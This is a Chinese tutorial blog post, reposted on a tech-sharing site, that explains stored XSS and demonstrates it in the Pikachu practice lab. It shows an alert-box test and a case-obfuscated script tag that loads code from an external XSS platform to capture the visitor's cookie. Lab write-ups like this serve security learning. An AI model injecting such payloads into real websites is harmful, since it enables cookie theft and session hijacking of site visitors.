cookie为了安全存在同源策略(浏览器的同源策略，限制了不同源的Js，对当前页面的资源和属性的权限。保护了a.com域名下的资源不被来自其他页面脚本被读取或篡改)
攻击者事先将恶意代码上传或储存到漏洞服务器中，只要受害者浏览包含此恶意代码的页面就会执行恶意代码。这就意味着只要访问了这个页面的访客，都有可能会执行这段恶意脚本，因此储存型XSS的危害会更大。因为存储型XSS的代码存在于网页的代码中，可以说是永久型的。
存储型 XSS 一般出现在网站留言、评论、博客日志等交互处，恶意脚本存储到客户端或者服务端的数据库中。
打开pikachu平台的存储型xss 输入东西发现发会存在页面上，也就是会永久保存这样我们就可以使用存储型xss
这时候我们看到，他并没有做任何处理。
这时候输入<script>alert(111)</script>.有弹窗。
这个时候我们输入<sCRiPt/SrC=//xs.sb/QX9N> 语句。这个是连接到外部xss平台的。我们就可以在平台上看到我们自己访问的cookie值。用burp拦截发现cookie一致。
最后我把这条payload删除掉了，因为他是永久存储在数据库中。防止以后使用时会发生不便情况
标签：XSS,存储,xss,恶意代码,cookie,页面 来源： https://www.cnblogs.com/chenyanlark/p/15513858.html
本站声明： 1. iCode9 技术分享网（下文简称本站）提供的所有内容，仅供技术学习、探讨和分享； 2. 关于本站的所有留言、评论、转载及引用，纯属内容发起人的个人观点，与本站观点和立场无关； 3. 关于本站的所有言论和文字，纯属内容发起人的个人观点，与本站观点和立场无关； 4. 本站文章均是网友提供，不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属；如您发现该文章侵犯了您的权益，可联系我们第一时间进行删除； 5. 本站为非盈利性的个人网站，所有内容不会用来进行牟利，也不会利用任何形式的广告来间接获益，纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。